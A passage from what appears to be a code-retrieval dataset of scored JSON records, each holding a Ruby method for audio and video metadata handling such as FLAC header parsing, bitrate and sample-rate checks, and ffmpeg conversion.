lossless file\"\n end\n when nil # will happen for Lossy formats\n unless [44_100, 48_000].include?(sample_rate)\n sample_rate_khz = sample_rate.to_f / 100\n @errors << \"#{sample_rate_khz} kHz is not a valid sample rate for a lossy file format\"\n end\n end\n end\n\n @checked_for_errors = true\n\n @errors\n end", "title": "" }, { "docid": "e26d9a1534c20c9e1a706f05e0cc4160", "score": "0.57458264", "text": "def constrained_bitrate\n @bitrate * 1.1\n end", "title": "" }, { "docid": "e44a5468b89c5b4b0d472b0044f95083", "score": "0.5647945", "text": "def compare_info(existing_file, existing_file_info, audio_params)\n correct = :pass\n wrong = :fail\n\n bit_rate_bps_delta = 10_000 # due to difference for asf files of 1300-2000 bps (set large to catch only very different bit rates)\n duration_seconds_delta = 0.200 # 200 ms due to estimates of duration for mp3 files\n\n file_hash = existing_file_info[:file_hash].to_s == audio_params[:file_hash].to_s ? correct : wrong\n extension = existing_file_info[:extension].to_s == audio_params[:original_format].to_s ? correct : wrong\n media_type = Mime::Type.lookup(existing_file_info[:media_type]) == Mime::Type.lookup(audio_params[:media_type]) ? correct : wrong\n\n sample_rate_hertz = existing_file_info[:sample_rate_hertz].to_i == audio_params[:sample_rate_hertz].to_i ? correct : wrong\n channels = existing_file_info[:channels].to_i == audio_params[:channels].to_i ? correct : wrong\n data_length_bytes = existing_file_info[:data_length_bytes].to_i == audio_params[:data_length_bytes].to_i ? correct : wrong\n\n bit_rate_bps = (existing_file_info[:bit_rate_bps].to_i - audio_params[:bit_rate_bps].to_i).abs <= bit_rate_bps_delta ? correct : wrong\n duration_seconds = (existing_file_info[:duration_seconds].to_f - audio_params[:duration_seconds].to_f).abs <= duration_seconds_delta ? correct : wrong\n\n file_errors = existing_file_info[:errors].empty? ? correct : wrong\n new_file_name = File.basename(existing_file, File.extname(existing_file)).end_with?('Z') ? correct : wrong\n\n {\n actual: existing_file_info,\n expected: audio_params,\n checks: {\n file_hash:,\n extension:,\n media_type:,\n sample_rate_hertz:,\n channels:,\n bit_rate_bps:,\n data_length_bytes:,\n duration_seconds:,\n file_errors:,\n new_file_name:\n },\n bit_rate_bps_delta:,\n duration_seconds_delta:\n }\n end", "title": "" }, { "docid": "f322170435a0779bfcd17b7417e193b9", "score": "0.5538105", "text": "def bit_rate_mode\n mediainfo.audio.bit_rate_mode\n end", "title": "" }, { "docid": "ac7592a064d2d255f87e71a233cf289e", "score": "0.55221534", "text": "def check_audio_bitrate\n if has_sound?\n @audio_bit_rate = @audio_stream[:bit_rate].to_i\n @audio_bit_rate_check = if @audio_bit_rate > AUDIO_BITRATE\n true\n else\n false\n end\n end\n end", "title": "" }, { "docid": "9e6fbd8cd41e07468d66b5e38f5f5a67", "score": "0.55030876", "text": "def resampling_required?\n flac_info.streaminfo[\"samplerate\"] != target_sample_rate\n end", "title": "" }, { "docid": "42c73831f7753fe9cca6829776461f6f", "score": "0.5500649", "text": "def flac_with_m4a?\n asset.content_type == \"audio/flac\" && asset.file_derivatives.has_key?(:m4a)\n end", "title": "" }, { "docid": "8305785e436253038e44254751759672", "score": "0.5318318", "text": "def meta_flac\n n = 0\n pictures_seen = 0\n @metadata_blocks.each do |block|\n puts \"METADATA block ##{n}\"\n puts \" type: #{block[1]} (#{block[0].upcase})\"\n puts \" is last: #{block[2] == 0 ? \"false\" : \"true\"}\"\n case block[1]\n when 0\n meta_stream\n when 1\n meta_padd\n when 2\n meta_app\n when 3\n meta_seek\n when 4\n meta_vorb\n when 5\n meta_cue\n when 6\n pictures_seen += 1\n meta_pict(pictures_seen)\n end\n n += 1\n end\n nil\n end", "title": "" }, { "docid": "f533c41bff99865e1bca3be5574fe441", "score": "0.5311779", "text": "def check_video_bitrate\n @bit_rate = @movie_info[:format][:bit_rate].to_i\n @bit_rate_check = if @bit_rate > VIDEO_BITRATE\n true\n else\n false\n end\n end", "title": "" }, { "docid": "de4bddf1b43ebb9169ece923ae10c50a", "score": "0.52855563", "text": "def validate_audio\n errors, analysis = validate(source_format, source, options)\n info = { errors: errors, analysis: analysis }\n completed_with info\n end", "title": "" }, { "docid": "2f895f5966702ddf17c0f6d8b66911b3", "score": "0.5268967", "text": "def options\n {\n # audio_sample_rate: 44100,\n # audio_channels: 2,\n audio_bitrate: AUDIO_BITRATE,\n video_max_bitrate: new_bitrate,\n buffer_size: new_bitrate,\n # video_bitrate: new_bitrate,\n # FIXME: `-fs` doesn't work as inteded. it just stops encoding when file got bigger.\n # http://ffmpeg.gusari.org/viewtopic.php?f=11&t=2141\n # custom: \"-fs #{FILESIZE_BOUND}\"\n }\n end", "title": "" }, { "docid": "4f817da1887152b9931432bd2ac4ecd5", "score": "0.5265368", "text": "def parse_flac_meta_blocks\n @fp = File.new(@filename, \"rb\") # Our file pointer\n @comments_changed = nil # Do we need to write a new VORBIS_BLOCK?\n\n # These next 8 lines initialize our public data structures.\n @streaminfo = {}\n @comment = []\n @tags = {}\n @seektable = {}\n @padding = {}\n @application = {}\n @cuesheet = {}\n @picture = {\"n\" => 0}\n\n header = @fp.read(4)\n # First 4 bytes must be 0x66, 0x4C, 0x61, and 0x43\n if header != 'fLaC'\n raise FlacInfoReadError, \"#{@filename} does not appear to be a valid Flac file\"\n end\n\n typetable = { 0 => \"streaminfo\", 1 => \"padding\", 2 => \"application\",\n 3 => \"seektable\", 4 => \"vorbis_comment\", 5 => \"cuesheet\",\n 6 => \"picture\" }\n\n @metadata_blocks = []\n lastheader = 0\n pos = 1\n\n until lastheader == 1\n # first bit = Last-metadata-block flag\n # bits 2-8 = BLOCK_TYPE. See typetable above\n block_header = @fp.read(1).unpack(\"B*\")[0]\n #puts block_header\n lastheader = block_header[0].to_i & 1\n type = sprintf(\"%u\", \"0b#{block_header[1..7]}\").to_i\n @metadata_blocks << [typetable[type], type, lastheader]\n\n if type >= typetable.size\n raise FlacInfoReadError, \"Invalid block header type\"\n end\n\n pos += 1\n self.send \"parse_#{typetable[type]}\"\n end\n\n @fp.close\n end", "title": "" }, { "docid": "6b9d7a1320b3139bd013c5f2ee16cc13", "score": "0.5246455", "text": "def update!(**args)\n @ambisonics = args[:ambisonics] if args.key?(:ambisonics)\n @bitrate = args[:bitrate] if args.key?(:bitrate)\n @channel_position = args[:channel_position] if args.key?(:channel_position)\n @channels = args[:channels] if args.key?(:channels)\n @clock_discontinuity_us = args[:clock_discontinuity_us] if args.key?(:clock_discontinuity_us)\n @codec_fourcc = args[:codec_fourcc] if args.key?(:codec_fourcc)\n @codec_id = args[:codec_id] if args.key?(:codec_id)\n @codec_string = args[:codec_string] if args.key?(:codec_string)\n @content_type = args[:content_type] if args.key?(:content_type)\n @decode_offset = args[:decode_offset] if args.key?(:decode_offset)\n @end_timestamp = args[:end_timestamp] if args.key?(:end_timestamp)\n @frame_size = args[:frame_size] if args.key?(:frame_size)\n @language = args[:language] if args.key?(:language)\n @length = args[:length] if args.key?(:length)\n @metadata = args[:metadata] if args.key?(:metadata)\n @number_of_frames = args[:number_of_frames] if args.key?(:number_of_frames)\n @profile = args[:profile] if args.key?(:profile)\n @sample_rate = args[:sample_rate] if args.key?(:sample_rate)\n @sample_size = args[:sample_size] if args.key?(:sample_size)\n @start_timestamp = args[:start_timestamp] if args.key?(:start_timestamp)\n @stream_codec_tag = args[:stream_codec_tag] if args.key?(:stream_codec_tag)\n @stream_index = args[:stream_index] if args.key?(:stream_index)\n end", "title": "" }, { "docid": "b3ab0a9c6b4c705e4288dacdd938ccde", "score": "0.5230427", "text": "def exhaustively_test\n [:mono, :stereo, :tri].each do |channels|\n Format::SUPPORTED_BITS_PER_SAMPLE[:pcm].each do |bits_per_sample|\n yield(channels, bits_per_sample)\n end\n end\n end", "title": "" }, { "docid": "de51c87680f577f98328a58acc6e1108", "score": "0.52105796", "text": "def fill( path , file , file_size )\n\n # File info\n self.path = path\n self.file_size = file_size\n\n # Set default values:\n self.name = ''\n self.genre = ''\n self.seconds = 0\n self.track = 0\n self.bitrate = 0\n self.channels = 0\n self.sample_rate = 0\n\n # Get file tags\n file_tags = file.tag\n if file_tags\n self.name = file_tags.title if file_tags.title\n self.genre = file_tags.genre if file_tags.genre\n self.track = file_tags.track if file_tags.track\n end\n\n # Be sure we have a name\n if self.name.empty?\n self.name = File.basename(path, \".*\")\n self.name.gsub!('_',' ')\n end\n self.name.strip!\n\n # Try to extract the track number from the name\n begin\n if self.track == 0 && self.name =~ /\\A\\d+.*/\n # Get the initial number:\n self.track = self.name[/\\A\\d+/].to_i\n self.track = 0 if self.track < 0 || self.track > 9999\n end\n rescue\n end\n\n # Cut long names\n if self.name.length > Constants::NAME_MAX_LENGTH\n self.name = self.name[0..(Constants::NAME_MAX_LENGTH-1)]\n end\n if self.genre && self.genre.length > Constants::NAME_MAX_LENGTH\n self.genre = self.genre[0..(Constants::NAME_MAX_LENGTH-1)]\n end\n\n # Get audio properties\n audio_props = file.audio_properties\n if audio_props\n self.seconds = audio_props.length if audio_props.length\n self.bitrate = audio_props.bitrate if audio_props.bitrate\n self.channels = audio_props.channels if audio_props.channels\n self.sample_rate = audio_props.sample_rate if audio_props.sample_rate\n end\n\n end", "title": "" }, { "docid": "712717b53744c1ec399d1d287b42e79a", "score": "0.5182343", "text": "def formatted_audio_bitrate(path)\n formatted_bitrate path, :audio\n end", "title": "" }, { "docid": "ca953cf1ef788293c7b6d1d8d1077653", "score": "0.5150756", "text": "def update!(**args)\n @audio_bitrate = args[:audio_bitrate] if args.key?(:audio_bitrate)\n @audio_channels = args[:audio_channels] if args.key?(:audio_channels)\n @audio_codec_id = args[:audio_codec_id] if args.key?(:audio_codec_id)\n @audio_end_timestamp = args[:audio_end_timestamp] if args.key?(:audio_end_timestamp)\n @audio_frame_size = args[:audio_frame_size] if args.key?(:audio_frame_size)\n @audio_length = args[:audio_length] if args.key?(:audio_length)\n @audio_number_of_frames = args[:audio_number_of_frames] if args.key?(:audio_number_of_frames)\n @audio_sample_rate = args[:audio_sample_rate] if args.key?(:audio_sample_rate)\n @audio_sample_size = args[:audio_sample_size] if args.key?(:audio_sample_size)\n @audio_start_timestamp = args[:audio_start_timestamp] if args.key?(:audio_start_timestamp)\n @audio_stream = args[:audio_stream] if args.key?(:audio_stream)\n @audio_stream_codec_tag = args[:audio_stream_codec_tag] if args.key?(:audio_stream_codec_tag)\n @av_distance = args[:av_distance] if args.key?(:av_distance)\n @av_length = args[:av_length] if args.key?(:av_length)\n @average_video_fps = args[:average_video_fps] if args.key?(:average_video_fps)\n @build_label = args[:build_label] if args.key?(:build_label)\n @container_id = args[:container_id] if args.key?(:container_id)\n @container_type = args[:container_type] if args.key?(:container_type)\n @contains_chapters = args[:contains_chapters] if args.key?(:contains_chapters)\n @data_stream = args[:data_stream] if args.key?(:data_stream)\n @display_height = args[:display_height] if args.key?(:display_height)\n @display_width = args[:display_width] if args.key?(:display_width)\n @file_header_fingerprint = args[:file_header_fingerprint] if args.key?(:file_header_fingerprint)\n @file_magic = args[:file_magic] if args.key?(:file_magic)\n @file_modified_time = args[:file_modified_time] if args.key?(:file_modified_time)\n @file_name = args[:file_name] if args.key?(:file_name)\n @file_size = args[:file_size] if args.key?(:file_size)\n @file_type = args[:file_type] if args.key?(:file_type)\n @google_video_clip_info = args[:google_video_clip_info] if args.key?(:google_video_clip_info)\n @image_stream = args[:image_stream] if args.key?(:image_stream)\n @is_asf = args[:is_asf] if args.key?(:is_asf)\n @is_image_file = args[:is_image_file] if args.key?(:is_image_file)\n @is_video_insane_size = args[:is_video_insane_size] if args.key?(:is_video_insane_size)\n @level = args[:level] if args.key?(:level)\n @metadata = args[:metadata] if args.key?(:metadata)\n @num_audio_streams = args[:num_audio_streams] if args.key?(:num_audio_streams)\n @num_data_streams = args[:num_data_streams] if args.key?(:num_data_streams)\n @num_image_streams = args[:num_image_streams] if args.key?(:num_image_streams)\n @num_timedtext_streams = args[:num_timedtext_streams] if args.key?(:num_timedtext_streams)\n @num_video_streams = args[:num_video_streams] if args.key?(:num_video_streams)\n @parsed_by_ffmpeg = args[:parsed_by_ffmpeg] if args.key?(:parsed_by_ffmpeg)\n @partial_file = args[:partial_file] if args.key?(:partial_file)\n @pix_fmt = args[:pix_fmt] if args.key?(:pix_fmt)\n @profile = args[:profile] if args.key?(:profile)\n @timedtext_stream = args[:timedtext_stream] if args.key?(:timedtext_stream)\n @video_bitrate = args[:video_bitrate] if args.key?(:video_bitrate)\n @video_clip_info = args[:video_clip_info] if args.key?(:video_clip_info)\n @video_codec_id = args[:video_codec_id] if args.key?(:video_codec_id)\n @video_end_timestamp = args[:video_end_timestamp] if args.key?(:video_end_timestamp)\n @video_fps = args[:video_fps] if args.key?(:video_fps)\n @video_frame_size = args[:video_frame_size] if args.key?(:video_frame_size)\n @video_has_b_frames = args[:video_has_b_frames] if args.key?(:video_has_b_frames)\n @video_has_fragments = args[:video_has_fragments] if args.key?(:video_has_fragments)\n @video_has_leading_moov_atom = args[:video_has_leading_moov_atom] if args.key?(:video_has_leading_moov_atom)\n @video_has_non_monotonic_dts = args[:video_has_non_monotonic_dts] if args.key?(:video_has_non_monotonic_dts)\n @video_has_non_monotonic_pts = args[:video_has_non_monotonic_pts] if args.key?(:video_has_non_monotonic_pts)\n @video_has_non_zero_start_edit_list = args[:video_has_non_zero_start_edit_list] if args.key?(:video_has_non_zero_start_edit_list)\n @video_has_possible_open_gop = args[:video_has_possible_open_gop] if args.key?(:video_has_possible_open_gop)\n @video_has_variable_aspect_ratio = args[:video_has_variable_aspect_ratio] if args.key?(:video_has_variable_aspect_ratio)\n @video_height = args[:video_height] if args.key?(:video_height)\n @video_interlace = args[:video_interlace] if args.key?(:video_interlace)\n @video_length = args[:video_length] if args.key?(:video_length)\n @video_number_of_frames = args[:video_number_of_frames] if args.key?(:video_number_of_frames)\n @video_number_of_invisible_frames = args[:video_number_of_invisible_frames] if args.key?(:video_number_of_invisible_frames)\n @video_pixel_aspect_ratio = args[:video_pixel_aspect_ratio] if args.key?(:video_pixel_aspect_ratio)\n @video_rotation = args[:video_rotation] if args.key?(:video_rotation)\n @video_start_timestamp = args[:video_start_timestamp] if args.key?(:video_start_timestamp)\n @video_stream = args[:video_stream] if args.key?(:video_stream)\n @video_stream_codec_tag = args[:video_stream_codec_tag] if args.key?(:video_stream_codec_tag)\n @video_width = args[:video_width] if args.key?(:video_width)\n @videostreaminfo_version = args[:videostreaminfo_version] if args.key?(:videostreaminfo_version)\n @y_psnr = args[:y_psnr] if args.key?(:y_psnr)\n end", "title": "" }, { "docid": "a86dc7aaf99ebb2222eb7e163affe051", "score": "0.5138291", "text": "def encoding_invalid?\n unless File.exists?(@output_file)\n return \"No output file created\"\n end\n\n unless encoded.valid?\n return \"Encoded file is invalid\"\n end\n\n if CONFIG[:validate_duration]\n # reavalidate duration\n precision = @options[:duration] ? 1.5 : 1.1\n desired_duration = @options[:duration] && @options[:duration] < @video.duration ? @options[:duration] : @video.duration\n\n if (encoded.duration >= (desired_duration * precision) or encoded.duration <= (desired_duration / precision))\n return \"Encoded file duration is invalid (original/specified: #{desired_duration}sec, got: #{encoded.duration}sec)\"\n end\n end\n\n false\n end", "title": "" }, { "docid": "3c4b71ed985c6cc167c1de82ec082aaa", "score": "0.51165986", "text": "def audio_format\n @descriptive_detail.audio_format\n end", "title": "" }, { "docid": "4a9d09ae26237f1e35102c353be516c1", "score": "0.5111601", "text": "def supported_format?\n !(@file_set.mime_type & self.class.supported_formats).empty? || preservation_file&.original_filename&.first&.downcase&.include?(\".wav\")\n end", "title": "" }, { "docid": "73d611982c8bba518499b9312bccea39", "score": "0.51058054", "text": "def audio_format(infile)\n format = nil\n cmd = [\"ffprobe\", \"-hide_banner\", infile]\n \n IO.popen(cmd, \"rb\", :err=>[:child, :out]) do |io| \n io.each_line do |line|\n # Stream #0:1: Audio: aac (LC), 22050 Hz, stereo, fltp\n # Stream #0:1(und): Audio: aac (LC) (mp4a / 0x6134706D), 44100 Hz, stereo, fltp, 95 kb/s\n # Stream #0:0: Audio: mp3, 22050 Hz, mono, s16p, 67 kb/s\n # Stream #0:1: Audio: mp3 (U[0][0][0] / 0x0055), 44100 Hz, stereo, s16p, 310 kb/s\n if line =~ /Stream.+Audio.+(aac|mp3)/\n format = $1\n break\n end\n end\n end\n\n case format\n when nil\n \"\"\n when \"aac\" \n \"m4a\"\n else\n format\n end\nend", "title": "" }, { "docid": "655742b7b24dc33d0c6eadb35bc7fe46", "score": "0.5072036", "text": "def check_audio_codec\n if has_sound?\n @audio_codec = (@audio_stream[:codec_name] + @audio_stream[:profile]).upcase!\n @audio_codec_check = if AUDIO_CODEC == @audio_codec\n true\n else\n false\n end\n end\n end", "title": "" }, { "docid": "9e32c1f706b3d2cd43977ce1c6ecdbb2", "score": "0.5047826", "text": "def compression_mode\n mediainfo.audio.compression_mode\n end", "title": "" }, { "docid": "c6be5f6d420c7f36184aa390294e21db", "score": "0.50446796", "text": "def audio_types\n ldr6 = record.leader[6]\n\n types = []\n\n # Get the 8524* fields\n f8524 = record.fields('852').select{|f| f.indicator1 == '4'}\n\n # RC\n if %w[i j].include?(ldr6) && (bib_format == 'MU') \n @record.fields('007').map{|f| f.value}.each do |f|\n if f[1] == 'd' && f[12] == 'e'\n types << 'RC'\n break\n end\n end\n end\n\n f8524.each do |f|\n if (f['b'].upcase == 'MUSIC') && (f['j'] =~ /\\ACD/i)\n types << 'RC'\n break\n end\n end\n\n # RL\n\n if (bib_format == 'MU') && %w[i j].include?(ldr6) && self['007[1]'].include?('d')\n record.fields('300').each do |f|\n str = f.subfields.collect {|s| s.value}.join(' ')\n if (str =~ /DISC/i) && str =~ /33 1\\/3 RPM/i\n types << 'RL'\n break\n end\n end\n end\n\n\n f8524.each do |f|\n if (f['j'] =~ /\\ALP/i) &&\n ((f['b'].upcase == 'MUSIC') || (f['c'].upcase == 'MUSI'))\n types << 'RL'\n break\n end\n end\n\n # RM\n types << 'RM' if (ldr6 == 'j') && (bib_format == 'MU')\n\n # RS\n types << 'RS' if (ldr6 == 'i') && (bib_format == 'MU')\n\n # RU\n types << 'RU' if %w[i j].include?(ldr6) && (bib_format == 'MU')\n\n types.uniq!\n return types\n end", "title": "" }, { "docid": "216e8b7d5daa341d057617fea486c6c0", "score": "0.50439245", "text": "def bit_rate\n mediainfo.audio.bitrate\n end", "title": "" }, { "docid": "d4b33a93adf3ef0e9095994f22747632", "score": "0.50283074", "text": "def check_file_type\n if is_image_type?\n {\n thumb: '100x100>',\n medium: '640x360>',\n large: '1920x1080>'\n }\n elsif is_video_type?\n {\n thumb: { :geometry => \"100x100#\", format: 'jpg', :time => 5 },\n mp4_sd: { :geometry => \"640x360#\", format: 'mp4', :processors => [:transcoder] },\n mp4_hd: { :geometry => \"1920x1080#\", format: 'mp4', :processors => [:transcoder] },\n #webm_sd: { :geometry => \"640x360#\", format: 'webm', :processors => [:transcoder] },\n webm_hd: { :geometry => \"1920x1080#\", format: 'webm', :processors => [:transcoder] }\n }\n else\n {}\n end\n end", "title": "" }, { "docid": "8d356bbe903dcd8022b753651f5dded2", "score": "0.49805772", "text": "def testUselessCalibratedTrack\n execute_Mix_WithConf({\n :Recordings => {\n :EnvCalibration => {\n [ :Env1, :Env4 ] => {\n :CompareCuts => ['0.01s', '0.16s']\n }\n },\n :Tracks => {\n [1] => {\n :Env => :Env1,\n :CalibrateWithEnv => :Env4\n }\n }\n },\n :Mix => {\n 'Final' => {\n :Tracks => {\n [1] => {}\n },\n :Processes => [\n {\n :Name => 'Test',\n :Param1 => 'TestParam1'\n }\n ]\n }\n }\n },\n :PrepareFiles => getPreparedFiles(:Recorded_Env1_1_CalibEnv4, :Cleaned_Env1_1_CalibEnv4, :Calibrated_Env1_1_CalibEnv4)\n ) do |iStdOUTLog, iStdERRLog, iExitStatus|\n assert_exitstatus 0, iExitStatus\n lWave0FileName = getFileFromGlob('05_Mix/Env1.1.04.NoiseGate.0.Test.????????????????????????????????.wav')\n assert_rb_content [\n {\n :InputFileName => '02_Clean/Record/Env1.1.04.NoiseGate.wav',\n :OutputFileName => lWave0FileName,\n :Params => {\n :Param1 => 'TestParam1'\n }\n }\n ], 'Process_Test.rb'\n assert Dir.glob('05_Mix/Env1.1.Calibrated.0.Test.????????????????????????????????.wav').empty?\n assert_wave_lnk '02_Clean/Record/Env1.1.04.NoiseGate', '05_Mix/Final/Final.wav'\n end\n end", "title": "" }, { "docid": "fe8b824985fbd0d50f5355437c85db7f", "score": "0.49650478", "text": "def source_file_type_permitted?(magic_bytes_file_info)\n PERMITTED_SOURCE_FILE_EXTENSIONS.include?(magic_bytes_file_info.ext)\n end", "title": "" }, { "docid": "a499275f41e0e19220a66c315417785a", "score": "0.4955466", "text": "def audio_formats\n @descriptive_detail.audio_formats\n end", "title": "" }, { "docid": "e95ba1bf6755dd59ec8b379b02232166", "score": "0.49532354", "text": "def audio_bitrate(path)\n bitrate path, :audio\n end", "title": "" }, { "docid": "97051342faa6d37f7cd45ddee333ed77", "score": "0.49518636", "text": "def test_gibberish_no_extension\n io = StringIO.new\n io.write([555].pack(UNSIGNED_INT_16)) # Audio format\n io.write([111].pack(UNSIGNED_INT_16)) # Channels\n io.write([12345].pack(UNSIGNED_INT_32)) # Sample rate\n io.write([9].pack(UNSIGNED_INT_32)) # Byte rate\n io.write([8000].pack(UNSIGNED_INT_16)) # Block align\n io.write([23433].pack(UNSIGNED_INT_16)) # Bits per sample\n io.write(\"data\") # Start of the next chunk\n io.rewind\n\n format_chunk_reader = FormatChunkReader.new(io, 16)\n unvalidated_format = format_chunk_reader.read\n\n assert_equal(555, unvalidated_format.audio_format)\n assert_equal(111, unvalidated_format.channels)\n assert_equal(12345, unvalidated_format.sample_rate)\n assert_equal(9, unvalidated_format.byte_rate)\n assert_equal(8000, unvalidated_format.block_align)\n assert_equal(23433, unvalidated_format.bits_per_sample)\n\n io.close\n end", "title": "" }, { "docid": "615a4ff104cae224103f5950101d1157", "score": "0.49091068", "text": "def testSingleTrackWithoutDCOffset\n execute_Clean_WithConf({\n :Recordings => {\n :Tracks => {\n [2] => {\n :Env => :Env1\n }\n }\n }\n },\n :PrepareFiles => getPreparedFiles(:Recorded_Env1_2),\n :FakeWSK => [\n {\n :Input => '01_Source/Record/Env1.2.wav',\n :Output => /^.*\\/Dummy\\.wav$/,\n :Action => 'Analyze',\n :UseWave => 'Empty.wav',\n :CopyFiles => { 'Analysis/Env1.2.analyze' => 'analyze.result' }\n },\n {\n :Input => '01_Source/Record/Env1.Silence.wav',\n :Output => /^.*\\/Dummy\\.wav$/,\n :Action => 'FFT',\n :UseWave => 'Empty.wav',\n :CopyFiles => { 'FFT/Env1.Silence.fftprofile' => 'fft.result' }\n },\n {\n :Input => '01_Source/Record/Env1.Silence.wav',\n :Output => /^.*\\/Dummy\\.wav$/,\n :Action => 'Analyze',\n :UseWave => 'Empty.wav',\n :CopyFiles => { 'Analysis/Env1.Silence.analyze' => 'analyze.result' }\n },\n {\n :Input => '01_Source/Record/Env1.2.wav',\n :Output => '02_Clean/Record/Env1.2.01.SilenceRemover.wav',\n :Action => 'SilenceRemover',\n :Params => [ '--silencethreshold', '-3602,3609', '--attack', '0', '--release', '1s', '--noisefft', 'Analyze/Record/Env1.Silence.fftprofile' ],\n :UseWave => '02_Clean/Record/Env1.2.01.SilenceRemover.wav'\n },\n {\n :Input => '02_Clean/Record/Env1.2.01.SilenceRemover.wav',\n :Output => '02_Clean/Record/Env1.2.04.NoiseGate.wav',\n :Action => 'NoiseGate',\n :Params => [ '--silencethreshold', '-3602,3609', '--attack', '0.1s', '--release', '0.1s', '--silencemin', '1s', '--noisefft', 'Analyze/Record/Env1.Silence.fftprofile' ],\n :UseWave => '02_Clean/Record/Env1.2.04.NoiseGate.wav'\n }\n ]) do |iStdOUTLog, iStdERRLog, iExitStatus|\n assert_exitstatus 0, iExitStatus\n assert File.exists?('Analyze/Record/Env1.2.analyze')\n assert File.exists?('Analyze/Record/Env1.Silence.analyze')\n assert File.exists?('Analyze/Record/Env1.Silence.fftprofile')\n assert File.exists?('02_Clean/Record/Env1.2.01.SilenceRemover.wav')\n assert !File.exists?('02_Clean/Record/Env1.2.02.Cut.0.01s_0.16s.wav')\n assert !File.exists?('02_Clean/Record/Env1.2.03.DCShifter.wav')\n assert File.exists?('02_Clean/Record/Env1.2.04.NoiseGate.wav')\n end\n end", "title": "" }, { "docid": "42eed784fc5ae81c0c41f6afcb058cdb", "score": "0.48915341", "text": "def validate_metadata_size\n errors.add(:metadata, 'can not exceed 64Kb') if metadata.to_s.bytesize > 64.kilobytes\n end", "title": "" }, { "docid": "d0b2655a834daec530290a5dd2eee5c8", "score": "0.48740962", "text": "def verify_size(pic)\n file_size_in_mb = File.size(pic).to_f / 2**20\n if (pic.end_with? \".gif\") || (pic.end_with? \".mp4\")\n return file_size_in_mb<5\n else\n return file_size_in_mb<3\n end\n end", "title": "" }, { "docid": "c63a7668e0a155e8635c0b3dc93221ae", "score": "0.48696637", "text": "def initialize(conf)\n @conf = conf\n @rate = conf.audio_sample_rate\n @bits = conf.audio_bit_depth\n raise \"sample bits must be 8 or 16\" unless @bits == 8 || @bits == 16\n @pack_format = PACK_FORMAT[@bits]\n\n init\n end", "title": "" }, { "docid": "4bd75218523651abeeb604b6b5d03a7a", "score": "0.48579556", "text": "def codec_3gp\n \"-ar 22050 -ab 32 -sameq -an -y\"\n end", "title": "" }, { "docid": "fbdad1c0751365848ef5383f521c7b40", "score": "0.48428968", "text": "def ensure_reasonable_file_size\n return unless params.require(:file).size > 1.megabyte\n\n render(\n json: {\n errors: ['Curve should not be larger than 1MB'],\n error_keys: [:file_too_large]\n },\n status: 422\n )\n end", "title": "" }, { "docid": "765b2aae226c77b9f4f42d1fce6e732d", "score": "0.48191848", "text": "def validate_upload?\n upload? || review? || published? || unpublished_changes?\n end", "title": "" }, { "docid": "4587314079cd1b417d972f8e1f5a2bb2", "score": "0.47968552", "text": "def update!(**args)\n @bitrate = args[:bitrate] if args.key?(:bitrate)\n @channels = args[:channels] if args.key?(:channels)\n @codec_id = args[:codec_id] if args.key?(:codec_id)\n @content_type = args[:content_type] if args.key?(:content_type)\n @language = args[:language] if args.key?(:language)\n @length_sec = args[:length_sec] if args.key?(:length_sec)\n @loudness1770_lkfs = args[:loudness1770_lkfs] if args.key?(:loudness1770_lkfs)\n @sample_rate = args[:sample_rate] if args.key?(:sample_rate)\n @stream_index = args[:stream_index] if args.key?(:stream_index)\n end", "title": "" }, { "docid": "555679629f98874c17ceb2c649d9f316", "score": "0.47879246", "text": "def validate_flags\n raise ProtocolException, 'Invalid packet: QoS value of 3 is not allowed' if qos == 3\n raise ProtocolException, 'Invalid packet: DUP cannot be set for QoS 0' if qos.zero? && duplicate\n end", "title": "" }, { "docid": "0f9dafdb1a5fefbc94bd4ad1588ffb61", "score": "0.47831902", "text": "def check_file_type\n if self.is_image?\n {\n :thumb => \"200x200>\",\n :medium => \"500x500>\"\n }\n elsif self.is_pdf?\n {\n :thumb => [\"200x200>\", :png],\n :medium => [\"500x500>\", :png]\n }\n\n elsif self.is_video?\n {\n :thumb => {\n :geometry => \"200x200>\",\n :format => 'jpg',\n :time => 0\n },\n :medium => {\n :geometry => \"500x500>\",\n :format => 'jpg',\n :time => 0\n }\n }\n elsif self.is_audio?\n {\n :audio => {\n :format => \"mp3\"\n }\n }\n else\n {}\n end\n end", "title": "" }, { "docid": "0fa27a85abd9191a58d546e87d537ae5", "score": "0.47678736", "text": "def extract_metadata\n path = audio.queued_for_write[:original].path\n open_opts = { :encoding => 'utf-8' }\n TagLib::FileRef.open(path) do |fileref|\n tag = fileref.tag\n properties = fileref.audio_properties\n self.update_attributes(:artist => tag.artist,:album=> tag.album,:title => tag.title, :genre => tag.genre, :track_number => tag.track, :year_of_release => tag.year, :comments => tag.comment,:bitrate => properties.bitrate,:no_of_channels => properties.channels,:length=> properties.length,:sample_rate=> properties.sample_rate)\n end\n end", "title": "" }, { "docid": "1fc35cb37121cac8ddb98ebbddbbd308", "score": "0.476686", "text": "def audio?\n if mime_type == 'application/mxf'\n !ffprobe.codec_type.any? {|type| type == 'video'}\n else\n super\n end\n end", "title": "" }, { "docid": "cadf7d8570354bbbeefe467feb1ff217", "score": "0.47636417", "text": "def check_song_length\n if self.length > 10 then\n self.errors.add(:length, \"is longer than 10 minutes...Calm down Free Bird.\")\n elsif self.length < 1 then\n self.errors.add(:length, \"is shorter than 1 minute...C'MON MAN!\")\n end\n end", "title": "" }, { "docid": "9dc82874802c795c51ff40ae1dcdd28c", "score": "0.4761028", "text": "def valid_quality?\n quality < MAX_QUALITY && quality > MIN_QUALITY\n end", "title": "" }, { "docid": "3d46f09e60b4d5ba18f5ba71006f6f57", "score": "0.47601515", "text": "def convert(file_info)\n input_name = Shellwords.escape(file_info[:filename])\n input_suffix = File.extname input_name\n output_name = File.basename input_name, input_suffix\n output_suffix = \"mp4\"\n command = [ \"ffmpeg\", \"-y\", \"-i #{input_name}\", \"-max_muxing_queue_size 9999\", \"-map_chapters -1\" ]\n\n if (file_info[:video].empty? && !file_info[:audio].empty?) || input_suffix == '.flac' || input_suffix == '.mp3' || input_suffix == '.aiff'\n #\n # Audio-only files are converted to either ALAC if the source was FLAC, or\n # AAC for all other formats.\n #\n stream = file_info[:audio][0]\n case stream[:codec]\n when \"alac\"\n command << \"-map 0:a:#{stream[:index]}\" << \"-codec:a copy\"\n when \"flac\"\n command << \"-map 0:a:#{stream[:index]}\" << \"-codec:a alac\"\n when \"mp3\"\n command << \"-map 0:a:#{stream[:index]}\" << \"-codec:a alac\"\n else\n command << \"-map 0:a:#{stream[:index]}\" << \"-codec:a aac\" << \"-ar:a:0 48k\" << \"-ab:a 256k\"\n end\n output_suffix = \"m4a\"\n elsif !file_info[:video].empty? && 